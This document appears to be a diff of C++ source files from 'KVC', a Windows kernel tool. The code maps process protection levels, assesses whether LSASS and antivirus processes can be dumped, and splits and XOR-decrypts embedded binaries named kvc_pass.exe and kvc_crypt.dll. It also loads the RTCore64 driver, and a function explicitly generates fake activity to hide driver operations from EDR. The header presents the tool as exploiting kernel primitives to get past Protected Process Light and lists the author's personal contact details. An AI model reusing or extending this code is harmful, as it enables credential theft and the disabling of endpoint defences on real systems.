const HRSRC hRes = FindResource(nullptr, MAKEINTRESOURCE(resourceId), resourceType);
if (!hRes) return {};
const HGLOBAL hData = LoadResource(nullptr, hRes);
if (!hData) return {};
const DWORD dataSize = SizeofResource(nullptr, hRes);
if (dataSize == 0) return {};
void* pData = LockResource(hData);
if (!pData) return {};
return std::vector<BYTE>(static_cast<const BYTE*>(pData),
static_cast<const BYTE*>(pData) + dataSize);
}
// Advanced process name resolution with caching
static std::unordered_map<DWORD, std::wstring> g_processCache;
static DWORD g_lastCacheUpdate = 0;
std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress, UCHAR protectionLevel, UCHAR signerType) noexcept {
// Cache management - refresh every 30 seconds
const DWORD currentTick = static_cast<DWORD>(GetTickCount64());
if (currentTick - g_lastCacheUpdate > 30000) {
g_processCache.clear();
g_lastCacheUpdate = currentTick;
}
// Check cache first
const auto cacheIt = g_processCache.find(pid);
if (cacheIt != g_processCache.end()) {
return cacheIt->second;
}
std::wstring processName = L"Unknown";
// Try multiple resolution methods
const HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (hProcess) {
wchar_t imageName[MAX_PATH];
DWORD size = MAX_PATH;
// Method 1: QueryFullProcessImageName (Vista+)
if (QueryFullProcessImageNameW(hProcess, 0, imageName, &size)) {
processName = fs::path(imageName).filename().wstring();
} else {
// Method 2: GetProcessImageFileName fallback
if (GetProcessImageFileNameW(hProcess, imageName, MAX_PATH)) {
const std::wstring fullPath = imageName;
const size_t lastSlash = fullPath.find_last_of(L'\\');
if (lastSlash != std::wstring::npos) {
processName = fullPath.substr(lastSlash + 1);
}
}
}
CloseHandle(hProcess);
}
// Method 3: Toolhelp snapshot fallback for system processes
if (processName == L"Unknown") {
const HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(pe32);
if (Process32FirstW(hSnapshot, &pe32)) {
do {
if (pe32.th32ProcessID == pid) {
processName = pe32.szExeFile;
break;
}
} while (Process32NextW(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
}
}
// Cache the result
g_processCache[pid] = processName;
return processName;
}
// Static string lookup tables for performance
static constexpr const wchar_t* PROTECTION_LEVELS[] = {
L"None", L"PPL-Authenticode", L"PPL-Antimalware", L"PPL-App",
L"PP-Authenticode", L"PP-Antimalware", L"PP-App", L"PP-Windows"
};
static constexpr const wchar_t* SIGNER_TYPES[] = {
L"None", L"Authenticode", L"CodeGen", L"Antimalware",
L"Lsa", L"Windows", L"WinTcb", L"WinSystem", L"App"
};
// Multi-method process name resolution with fallbacks
std::wstring GetProcessName(DWORD pid) noexcept
{
if (pid == 0)
return L"System Idle Process";
if (pid == 4)
return L"System [NT Kernel Core]";
static const std::unordered_map<DWORD, std::wstring> knownSystemPids = {
{188, L"Secure System"},
{232, L"Registry"},
{3052, L"Memory Compression"},
{3724, L"Memory Manager"},
{256, L"VSM Process"},
{264, L"VBS Process"},
{288, L"Font Driver Host"},
{296, L"User Mode Driver Host"}
};
if (auto it = knownSystemPids.find(pid); it != knownSystemPids.end()) {
return it->second;
}
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, FALSE, pid);
if (!hProcess) {
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
}
if (hProcess) {
wchar_t processName[MAX_PATH] = {0};
DWORD size = MAX_PATH;
if (QueryFullProcessImageNameW(hProcess, 0, processName, &size)) {
std::wstring fullPath(processName);
size_t lastSlash = fullPath.find_last_of(L'\\');
if (lastSlash != std::wstring::npos) {
CloseHandle(hProcess);
return fullPath.substr(lastSlash + 1);
}
}
if (GetProcessImageFileNameW(hProcess, processName, MAX_PATH)) {
std::wstring fullPath(processName);
size_t lastSlash = fullPath.find_last_of(L'\\');
if (lastSlash != std::wstring::npos) {
CloseHandle(hProcess);
return fullPath.substr(lastSlash + 1);
}
}
CloseHandle(hProcess);
}
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W pe;
pe.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnapshot, &pe)) {
do {
if (pe.th32ProcessID == pid) {
CloseHandle(hSnapshot);
return std::wstring(pe.szExeFile);
}
} while (Process32NextW(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
}
return L"[Unknown]";
}
// Protection level string mappings with static caching
const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept
{
static const std::wstring none = L"None";
static const std::wstring ppl = L"PPL";
static const std::wstring pp = L"PP";
static const std::wstring unknown = L"Unknown";
switch (static_cast<PS_PROTECTED_TYPE>(protectionLevel))
{
case PS_PROTECTED_TYPE::None: return none.c_str();
case PS_PROTECTED_TYPE::ProtectedLight: return ppl.c_str();
case PS_PROTECTED_TYPE::Protected: return pp.c_str();
default: return unknown.c_str();
}
}
const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept
{
static const std::wstring none = L"None";
static const std::wstring authenticode = L"Authenticode";
static const std::wstring codegen = L"CodeGen";
static const std::wstring antimalware = L"Antimalware";
static const std::wstring lsa = L"Lsa";
static const std::wstring windows = L"Windows";
static const std::wstring wintcb = L"WinTcb";
static const std::wstring winsystem = L"WinSystem";
static const std::wstring app = L"App";
static const std::wstring unknown = L"Unknown";
switch (static_cast<PS_PROTECTED_SIGNER>(signerType))
{
case PS_PROTECTED_SIGNER::None: return none.c_str();
case PS_PROTECTED_SIGNER::Authenticode: return authenticode.c_str();
case PS_PROTECTED_SIGNER::CodeGen: return codegen.c_str();
case PS_PROTECTED_SIGNER::Antimalware: return antimalware.c_str();
case PS_PROTECTED_SIGNER::Lsa: return lsa.c_str();
case PS_PROTECTED_SIGNER::Windows: return windows.c_str();
case PS_PROTECTED_SIGNER::WinTcb: return wintcb.c_str();
case PS_PROTECTED_SIGNER::WinSystem: return winsystem.c_str();
case PS_PROTECTED_SIGNER::App: return app.c_str();
default: return unknown.c_str();
}
}
const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept
{
static const std::wstring none = L"None";
static const std::wstring authenticode = L"Authenticode";
static const std::wstring codegen = L"CodeGen";
static const std::wstring antimalware = L"Antimalware";
static const std::wstring lsa = L"Lsa";
static const std::wstring windows = L"Windows";
static const std::wstring wintcb = L"WinTcb";
static const std::wstring winsystem = L"WinSystem";
static const std::wstring app = L"App";
static const std::wstring unknown = L"Unknown";
UCHAR level = signatureLevel & 0x0F;
switch (static_cast<PS_PROTECTED_SIGNER>(level))
{
case PS_PROTECTED_SIGNER::None: return none.c_str();
case PS_PROTECTED_SIGNER::Authenticode: return authenticode.c_str();
case PS_PROTECTED_SIGNER::CodeGen: return codegen.c_str();
case PS_PROTECTED_SIGNER::Antimalware: return antimalware.c_str();
case PS_PROTECTED_SIGNER::Lsa: return lsa.c_str();
case PS_PROTECTED_SIGNER::Windows: return windows.c_str();
case PS_PROTECTED_SIGNER::WinTcb: return wintcb.c_str();
case PS_PROTECTED_SIGNER::WinSystem: return winsystem.c_str();
case PS_PROTECTED_SIGNER::App: return app.c_str();
default: return unknown.c_str();
}
}
// String to protection level parsing for command line input
std::optional<UCHAR> GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept
{
static const std::unordered_map<std::wstring, UCHAR> levels = {
{L"none", static_cast<UCHAR>(PS_PROTECTED_TYPE::None)},
{L"ppl", static_cast<UCHAR>(PS_PROTECTED_TYPE::ProtectedLight)},
{L"pp", static_cast<UCHAR>(PS_PROTECTED_TYPE::Protected)}
};
std::wstring lower = protectionLevel;
std::transform(lower.begin(), lower.end(), lower.begin(), ::towlower);
auto it = levels.find(lower);
return (it != levels.end()) ? std::make_optional(it->second) : std::nullopt;
}
std::optional<UCHAR> GetSignerTypeFromString(const std::wstring& signerType) noexcept
{
std::wstring lower = signerType;
std::transform(lower.begin(), lower.end(), lower.begin(), ::towlower);
if (lower == L"none") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::None);
if (lower == L"authenticode") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::Authenticode);
if (lower == L"codegen") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::CodeGen);
if (lower == L"antimalware") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::Antimalware);
if (lower == L"lsa") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::Lsa);
if (lower == L"windows") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::Windows);
if (lower == L"wintcb") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::WinTcb);
if (lower == L"winsystem") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::WinSystem);
if (lower == L"app") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::App);
return std::nullopt;
}
// Comprehensive process dumpability analysis with detailed reasoning
ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName) noexcept
{
ProcessDumpability result;
result.CanDump = false; // Initialize
// Known undumpable system processes
static const std::unordered_set<DWORD> undumpablePids = {
4, // System process
188, // Secure System
232, // Registry process
3052 // Memory Compression
};
static const std::unordered_set<std::wstring> undumpableNames = {
L"System",
L"Secure System",
L"Registry",
L"Memory Compression"
};
if (undumpablePids.find(pid) != undumpablePids.end())
{
result.CanDump = false;
result.Reason = L"System kernel process - undumpable by design";
return result;
}
if (undumpableNames.find(processName) != undumpableNames.end())
{
result.CanDump = false;
if (processName == L"System")
result.Reason = L"Windows kernel process - cannot be dumped";
else if (processName == L"Secure System")
result.Reason = L"VSM/VBS protected process - virtualization-based security";
else if (processName == L"Registry")
result.Reason = L"Kernel registry subsystem - critical system component";
else if (processName == L"Memory Compression")
result.Reason = L"Kernel memory manager - system critical process";
else
result.Reason = L"System process - protected by Windows kernel";
return result;
}
// Special case analysis for known processes
if (processName == L"csrss.exe" || processName == L"csrss")
{
result.CanDump = true;
result.Reason = L"CSRSS (Win32 subsystem) - dumpable with PPL-WinTcb or higher protection";
return result;
}
if (pid < 100 && pid != 0)
{
result.CanDump = true;
result.Reason = L"Low PID system process - dumping may fail due to protection";
return result;
}
if (processName == L"[Unknown]")
{
if (pid < 500)
{
result.CanDump = true;
result.Reason = L"System process with unknown name - may be dumpable with elevated protection";
}
else
{
result.CanDump = true;
result.Reason = L"Process with unknown name - likely dumpable with appropriate privileges";
}
return result;
}
// Pattern-based analysis for virtualization and security software
if (processName.find(L"vmms") != std::wstring::npos ||
processName.find(L"vmwp") != std::wstring::npos ||
processName.find(L"vmcompute") != std::wstring::npos)
{
result.CanDump = true;
result.Reason = L"Hyper-V process - may require elevated protection to dump";
return result;
}
if (processName.find(L"MsMpEng") != std::wstring::npos ||
processName.find(L"NisSrv") != std::wstring::npos ||
processName.find(L"SecurityHealthService") != std::wstring::npos)
{
result.CanDump = true;
result.Reason = L"Security software - may require Antimalware protection level to dump";
return result;
}
if (processName == L"lsass.exe" || processName == L"lsass")
{
result.CanDump = true;
result.Reason = L"LSASS process - typically protected, may require PPL-WinTcb or higher";
return result;
}
result.CanDump = true;
result.Reason = L"Standard user process - should be dumpable with appropriate privileges";
return result;
}
// Universal hex string converter - handles registry exports, debug output, and various formats
bool HexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept
{
if (hexString.empty()) {
bytes.clear();
return true;
}
// Handle common prefixes: 0x, 0X
size_t startPos = 0;
if (hexString.length() >= 2 && hexString[0] == L'0' &&
(hexString[1] == L'x' || hexString[1] == L'X')) {
startPos = 2;
}
// Build clean hex string - filter out common separators
std::wstring cleanHex;
cleanHex.reserve(hexString.length());
for (size_t i = startPos; i < hexString.length(); ++i) {
wchar_t c = hexString[i];
if ((c >= L'0' && c <= L'9') ||
(c >= L'a' && c <= L'f') ||
(c >= L'A' && c <= L'F')) {
cleanHex += c;
}
// Skip: spaces, tabs, commas, hyphens, backslashes, newlines
}
// Must have even number of hex digits
if (cleanHex.length() % 2 != 0) {
return false;
}
// Efficient conversion
bytes.clear();
bytes.reserve(cleanHex.length() / 2);
for (size_t i = 0; i < cleanHex.length(); i += 2) {
BYTE value = 0;
// High nibble
wchar_t h = cleanHex[i];
if (h >= L'0' && h <= L'9') value = (h - L'0') << 4;
else if (h >= L'a' && h <= L'f') value = (h - L'a' + 10) << 4;
else if (h >= L'A' && h <= L'F') value = (h - L'A' + 10) << 4;
// Low nibble
wchar_t l = cleanHex[i + 1];
if (l >= L'0' && l <= L'9') value |= (l - L'0');
else if (l >= L'a' && l <= L'f') value |= (l - L'a' + 10);
else if (l >= L'A' && l <= L'F') value |= (l - L'A' + 10);
bytes.push_back(value);
}
return true;
}
// Fast hex validation without conversion
bool IsValidHexString(const std::wstring& hexString) noexcept
{
if (hexString.empty()) return true;
size_t startPos = 0;
if (hexString.length() >= 2 && hexString[0] == L'0' &&
(hexString[1] == L'x' || hexString[1] == L'X')) {
startPos = 2;
}
size_t hexCount = 0;
for (size_t i = startPos; i < hexString.length(); ++i) {
wchar_t c = hexString[i];
if ((c >= L'0' && c <= L'9') ||
(c >= L'a' && c <= L'f') ||
(c >= L'A' && c <= L'F')) {
++hexCount;
}
// Skip whitespace and separators
}
return (hexCount % 2 == 0); // Must have even number of hex digits
}
// PE parsing utility - determine exact file length by analyzing headers and sections
std::optional<size_t> GetPEFileLength(const std::vector<BYTE>& data, size_t offset) noexcept
{
try {
// Validate minimum DOS header size
if (data.size() < offset + 0x40) {
return std::nullopt;
}
// Check DOS signature "MZ"
if (data[offset] != 'M' || data[offset + 1] != 'Z') {
return std::nullopt;
}
// Get PE header offset from DOS header e_lfanew field (offset 0x3C)
DWORD e_lfanew;
std::memcpy(&e_lfanew, &data[offset + 0x3C], sizeof(DWORD));
size_t pe_header_offset = offset + e_lfanew;
if (pe_header_offset + 6 > data.size()) {
return std::nullopt;
}
// Check PE signature "PE\0\0"
if (data[pe_header_offset] != 'P' || data[pe_header_offset + 1] != 'E' ||
data[pe_header_offset + 2] != 0 || data[pe_header_offset + 3] != 0) {
return std::nullopt;
}
// Get number of sections and optional header size
WORD number_of_sections;
WORD size_of_optional_header;
std::memcpy(&number_of_sections, &data[pe_header_offset + 6], sizeof(WORD));
std::memcpy(&size_of_optional_header, &data[pe_header_offset + 20], sizeof(WORD));
// Calculate section table offset
size_t section_table_offset = pe_header_offset + 24 + size_of_optional_header;
constexpr size_t section_header_size = 40;
size_t max_end = 0;
// Parse each section header to find maximum file extent
for (WORD i = 0; i < number_of_sections; ++i) {
size_t sh_offset = section_table_offset + i * section_header_size;
if (sh_offset + 40 > data.size()) {
return std::nullopt; // Incomplete section table
}
// Get SizeOfRawData (offset +16) and PointerToRawData (offset +20)
DWORD size_of_raw, pointer_to_raw;
std::memcpy(&size_of_raw, &data[sh_offset + 16], sizeof(DWORD));
std::memcpy(&pointer_to_raw, &data[sh_offset + 20], sizeof(DWORD));
if (pointer_to_raw == 0) {
continue; // Skip sections without raw data
}
size_t section_end = pointer_to_raw + size_of_raw;
if (section_end > max_end) {
max_end = section_end;
}
}
if (max_end > 0) {
// Ensure we include all headers
size_t header_end = section_table_offset + number_of_sections * section_header_size;
size_t file_end = std::max(max_end, header_end);
return std::min(file_end, data.size());
}
return std::nullopt;
} catch (...) {
return std::nullopt;
}
}
// Split combined PE binary into separate components using intelligent parsing
bool SplitCombinedPE(const std::vector<BYTE>& combined,
std::vector<BYTE>& first,
std::vector<BYTE>& second) noexcept
{
try {
if (combined.empty()) {
return false;
}
// Try to determine exact size of first PE file
auto first_size = GetPEFileLength(combined, 0);
if (!first_size.has_value() || first_size.value() <= 0 || first_size.value() >= combined.size()) {
// Fallback: search for next "MZ" signature after reasonable offset
constexpr size_t search_start = 0x200;
size_t search_offset = (combined.size() > search_start) ? search_start : 1;
// Look for next MZ header
for (size_t i = search_offset; i < combined.size() - 1; ++i) {
if (combined[i] == 'M' && combined[i + 1] == 'Z') {
first_size = i;
break;
}
}
// If still no valid split found, use entire data as first file
if (!first_size.has_value()) {
first_size = combined.size();
}
}
// Split the data
size_t split_point = first_size.value();
// Extract first PE file (kvc_pass.exe)
first.clear();
first.reserve(split_point);
first.assign(combined.begin(), combined.begin() + split_point);
// Extract second PE file (kvc_crypt.dll) - remainder of data
second.clear();
if (split_point < combined.size()) {
second.reserve(combined.size() - split_point);
second.assign(combined.begin() + split_point, combined.end());
}
return true;
} catch (...) {
first.clear();
second.clear();
return false;
}
}
// XOR decryption using repeating key pattern (same as driver decryption)
std::vector<BYTE> DecryptXOR(const std::vector<BYTE>& encryptedData,
const std::array<BYTE, 7>& key) noexcept
{
try {
if (encryptedData.empty()) {
return {};
}
std::vector<BYTE> decryptedData;
decryptedData.reserve(encryptedData.size());
// XOR decryption with repeating key pattern
for (size_t i = 0; i < encryptedData.size(); ++i) {
BYTE decrypted_byte = encryptedData[i] ^ key[i % key.size()];
decryptedData.push_back(decrypted_byte);
}
return decryptedData;
} catch (...) {
return {};
}
}
}

90
kvc/Utils.h Normal file
View File

@@ -0,0 +1,90 @@
#pragma once
#include "common.h"
#include <string>
#include <optional>
#include <unordered_map>
#include <unordered_set>
#include <vector>
namespace Utils
{
// String and numeric parsing utilities
std::optional<DWORD> ParsePid(const std::wstring& pidStr) noexcept;
bool IsNumeric(const std::wstring& str) noexcept;
// Resource and file operations
std::vector<BYTE> ReadFile(const std::wstring& path);
std::vector<BYTE> ReadResource(int resourceId, const wchar_t* resourceType);
bool WriteFile(const std::wstring& path, const std::vector<BYTE>& data);
// Advanced process name resolution
std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress, UCHAR protectionLevel, UCHAR signerType) noexcept;
// Kernel operations with inline optimizations
std::optional<ULONG_PTR> GetKernelBaseAddress() noexcept;
constexpr ULONG_PTR GetKernelAddress(ULONG_PTR base, DWORD offset) noexcept
{
return base + offset;
}
constexpr UCHAR GetProtectionLevel(UCHAR protection) noexcept
{
return protection & 0x07;
}
constexpr UCHAR GetSignerType(UCHAR protection) noexcept
{
return (protection & 0xf0) >> 4;
}
constexpr UCHAR GetProtection(UCHAR protectionLevel, UCHAR signerType) noexcept
{
return (signerType << 4) | protectionLevel;
}
constexpr UCHAR GetSignatureLevelValue(UCHAR signatureLevel) noexcept
{
return signatureLevel & 0x0F;
}
constexpr UCHAR GetSectionSignatureLevelValue(UCHAR sectionSignatureLevel) noexcept
{
return sectionSignatureLevel & 0x0F;
}
// String conversion functions with static caching
const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept;
const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept;
const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept;
// Parsing functions for command-line input
std::optional<UCHAR> GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept;
std::optional<UCHAR> GetSignerTypeFromString(const std::wstring& signerType) noexcept;
std::optional<UCHAR> GetSignatureLevel(UCHAR signerType) noexcept;
std::optional<UCHAR> GetSectionSignatureLevel(UCHAR signerType) noexcept;
// Process operations with comprehensive dumpability analysis
std::wstring GetProcessName(DWORD pid) noexcept;
struct ProcessDumpability
{
bool CanDump;
std::wstring Reason;
};
ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName) noexcept;
// Hex string processing utilities for kernel tools
bool HexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept;
bool IsValidHexString(const std::wstring& hexString) noexcept;
// PE parsing and binary manipulation utilities
std::optional<size_t> GetPEFileLength(const std::vector<BYTE>& data, size_t offset = 0) noexcept;
bool SplitCombinedPE(const std::vector<BYTE>& combined,
std::vector<BYTE>& first,
std::vector<BYTE>& second) noexcept;
std::vector<BYTE> DecryptXOR(const std::vector<BYTE>& encryptedData,
const std::array<BYTE, 7>& key) noexcept;
}

293
kvc/common.cpp Normal file
View File

@@ -0,0 +1,293 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// common.cpp - Core system utilities and dynamic API management
// Implements service management, system path resolution, and Windows API abstraction
#include "common.h"
#include "ServiceManager.h"
#include <shlwapi.h>
// Link essential Windows libraries for kernel and service operations
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "DbgHelp.lib")
#pragma comment(lib, "Shell32.lib")
#pragma comment(lib, "Advapi32.lib")
// Global interrupt flag for graceful shutdown handling
volatile bool g_interrupted = false;
// Service mode flag - indicates NT service execution context
bool g_serviceMode = false;
// Dynamic API loading globals for service and driver management
// Using smart pointers for automatic cleanup and exception safety
ModuleHandle g_advapi32;
SystemModuleHandle g_kernel32;
// Function pointers for Windows Service Control Manager APIs
decltype(&CreateServiceW) g_pCreateServiceW = nullptr;
decltype(&OpenServiceW) g_pOpenServiceW = nullptr;
decltype(&StartServiceW) g_pStartServiceW = nullptr;
decltype(&DeleteService) g_pDeleteService = nullptr;
decltype(&CreateFileW) g_pCreateFileW = nullptr;
decltype(&ControlService) g_pControlService = nullptr;
// Initialize dynamic API loading for service management operations
// Returns: true if all required APIs successfully loaded, false on failure
bool InitDynamicAPIs() noexcept
{
// Load advapi32.dll only once using lazy initialization
if (!g_advapi32) {
HMODULE raw_advapi32 = LoadLibraryA("advapi32.dll");
if (!raw_advapi32) {
DEBUG(L"Failed to load advapi32.dll: %d", GetLastError());
return false;
}
// Wrap raw handle in smart pointer for automatic cleanup
g_advapi32.reset(raw_advapi32);
// Resolve all required service management functions
g_pCreateServiceW = reinterpret_cast<decltype(&CreateServiceW)>(
GetProcAddress(g_advapi32.get(), "CreateServiceW"));
g_pOpenServiceW = reinterpret_cast<decltype(&OpenServiceW)>(
GetProcAddress(g_advapi32.get(), "OpenServiceW"));
g_pStartServiceW = reinterpret_cast<decltype(&StartServiceW)>(
GetProcAddress(g_advapi32.get(), "StartServiceW"));
g_pDeleteService = reinterpret_cast<decltype(&DeleteService)>(
GetProcAddress(g_advapi32.get(), "DeleteService"));
g_pControlService = reinterpret_cast<decltype(&ControlService)>(
GetProcAddress(g_advapi32.get(), "ControlService"));
if (!g_pCreateServiceW || !g_pOpenServiceW || !g_pStartServiceW ||
!g_pDeleteService || !g_pControlService) {
DEBUG(L"Failed to resolve advapi32 function pointers");
return false;
}
}
// Load kernel32.dll functions (system modules don't need manual free)
if (!g_kernel32) {
HMODULE raw_kernel32 = GetModuleHandleA("kernel32.dll");
if (raw_kernel32) {
g_kernel32.reset(raw_kernel32);
g_pCreateFileW = reinterpret_cast<decltype(&CreateFileW)>(
GetProcAddress(g_kernel32.get(), "CreateFileW"));
if (!g_pCreateFileW) {
DEBUG(L"Failed to resolve kernel32 CreateFileW");
return false;
}
} else {
DEBUG(L"Failed to get kernel32.dll handle: %d", GetLastError());
return false;
}
}
// Verify all function pointers are valid before proceeding
return g_pCreateServiceW && g_pOpenServiceW && g_pStartServiceW &&
g_pDeleteService && g_pCreateFileW && g_pControlService;
}
// RAII wrapper for SC_HANDLE management to prevent resource leaks
class ServiceHandle {
private:
SC_HANDLE handle_;
public:
explicit ServiceHandle(SC_HANDLE handle = nullptr) noexcept : handle_(handle) {}
~ServiceHandle() noexcept {
if (handle_) {
CloseServiceHandle(handle_);
}
}
// Move semantics for efficient transfer of ownership
ServiceHandle(ServiceHandle&& other) noexcept : handle_(other.handle_) {
other.handle_ = nullptr;
}
ServiceHandle& operator=(ServiceHandle&& other) noexcept {
if (this != &other) {
if (handle_) {
CloseServiceHandle(handle_);
}
handle_ = other.handle_;
other.handle_ = nullptr;
}
return *this;
}
// Non-copyable for safety - prevents double-close bugs
ServiceHandle(const ServiceHandle&) = delete;
ServiceHandle& operator=(const ServiceHandle&) = delete;
// Access operators for SC_HANDLE compatibility
operator SC_HANDLE() const noexcept { return handle_; }
explicit operator bool() const noexcept { return handle_ != nullptr; }
SC_HANDLE get() const noexcept { return handle_; }
};
// Check if KVC service is installed in the system
// Returns: true if service registry entry exists, false otherwise
bool IsServiceInstalled() noexcept
{
if (!InitDynamicAPIs()) {
DEBUG(L"InitDynamicAPIs failed in IsServiceInstalled");
return false;
}
// Connect to Service Control Manager with minimal privileges
ServiceHandle scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
if (!scm) {
DEBUG(L"OpenSCManager failed: %d", GetLastError());
return false;
}
// Attempt to open the service for status query
ServiceHandle service(g_pOpenServiceW(scm, ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS));
// Service exists if we can open it successfully
return static_cast<bool>(service);
}
// Check if KVC service is currently running
// Returns: true if service state is SERVICE_RUNNING, false otherwise
bool IsServiceRunning() noexcept
{
if (!InitDynamicAPIs()) {
DEBUG(L"InitDynamicAPIs failed in IsServiceRunning");
return false;
}
// Connect to Service Control Manager
ServiceHandle scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
if (!scm) {
DEBUG(L"OpenSCManager failed: %d", GetLastError());
return false;
}
// Open service with query privileges
ServiceHandle service(g_pOpenServiceW(scm, ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS));
if (!service) {
DEBUG(L"OpenService failed: %d", GetLastError());
return false;
}
// Query current service status
SERVICE_STATUS status{};
if (!QueryServiceStatus(service, &status)) {
DEBUG(L"QueryServiceStatus failed: %d", GetLastError());
return false;
}
// Check for running state specifically
return (status.dwCurrentState == SERVICE_RUNNING);
}
// Get full path to current executable for service installation
// Returns: Wide string path to current EXE, empty string on failure
std::wstring GetCurrentExecutablePath() noexcept
{
wchar_t path[MAX_PATH];
if (GetModuleFileNameW(nullptr, path, MAX_PATH) == 0) {
DEBUG(L"GetModuleFileNameW failed: %d", GetLastError());
return L"";
}
return std::wstring(path);
}
// Get kernel driver service name for RTCore64 operations
// Returns: Wide string containing driver service identifier
std::wstring GetServiceName() noexcept
{
return L"RTCore64";
}
// Get kernel driver filename for file operations
// Returns: Wide string containing driver file name
std::wstring GetDriverFileName() noexcept
{
return L"kvc.sys";
}
// Get secure system temp directory for DPAPI and driver operations
// Uses Windows temp directory with TrustedInstaller privileges
// Returns: Wide string path to system temp directory
std::wstring GetSystemTempPath() noexcept {
wchar_t windowsDir[MAX_PATH];
// Primary: Use Windows\Temp directory (accessible by TrustedInstaller)
if (GetWindowsDirectoryW(windowsDir, MAX_PATH) > 0) {
std::wstring result = windowsDir;
return result + L"\\Temp";
}
// Fallback: Use user temp directory
wchar_t tempDir[MAX_PATH];
if (GetTempPathW(MAX_PATH, tempDir) > 0) {
return std::wstring(tempDir);
}
// Last resort: Hardcoded fallback path
return L"C:\\Windows\\Temp";
}
// Generate innocuous system activity to mask driver operations from EDR
// Creates legitimate registry access and file enumeration patterns
// Purpose: Blend driver loading with normal Windows background activity
void GenerateFakeActivity() noexcept
{
// Registry access to common Windows version key (normal behavior)
HKEY hKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegCloseKey(hKey);
}
// File enumeration in System32 directory (typical for system tools)
wchar_t systemDir[MAX_PATH];
if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) {
WIN32_FIND_DATAW findData;
std::wstring system32Pattern = std::wstring(systemDir) + L"\\*.dll";
HANDLE hFind = FindFirstFileW(system32Pattern.c_str(), &findData);
if (hFind != INVALID_HANDLE_VALUE) {
FindClose(hFind);
}
}
// Random delay to vary timing patterns (anti-detection measure)
Sleep(50 + (GetTickCount() % 100));
}

213
kvc/common.h Normal file
View File

@@ -0,0 +1,213 @@
#pragma once
#include <Windows.h>
#include <winternl.h>
#include <DbgHelp.h>
#include <Shellapi.h>
#include <Shlobj.h>
#include <accctrl.h>
#include <aclapi.h>
#include <iostream>
#include <string>
#include <optional>
#include <sstream>
#include <array>
#include <chrono>
#include <memory>
#ifdef BUILD_DATE
#define __DATE__ BUILD_DATE
#endif
#ifdef BUILD_TIME
#define __TIME__ BUILD_TIME
#endif
#define kvc_DEBUG_ENABLED 0
#ifdef ERROR
#undef ERROR
#endif
// Smart module handle management
struct ModuleDeleter {
void operator()(HMODULE mod) const noexcept {
if (mod) {
FreeLibrary(mod);
}
}
};
struct SystemModuleDeleter {
void operator()(HMODULE) const noexcept {
// System modules obtained via GetModuleHandle don't need to be freed
}
};
using ModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, ModuleDeleter>;
using SystemModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, SystemModuleDeleter>;
// Logging system with message formatting
template<typename... Args>
void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args)
{
std::wstringstream ss;
ss << prefix;
if constexpr (sizeof...(args) == 0)
{
ss << format;
}
else
{
wchar_t buffer[1024];
swprintf_s(buffer, format, std::forward<Args>(args)...);
ss << buffer;
}
ss << L"\r\n";
std::wcout << ss.str();
}
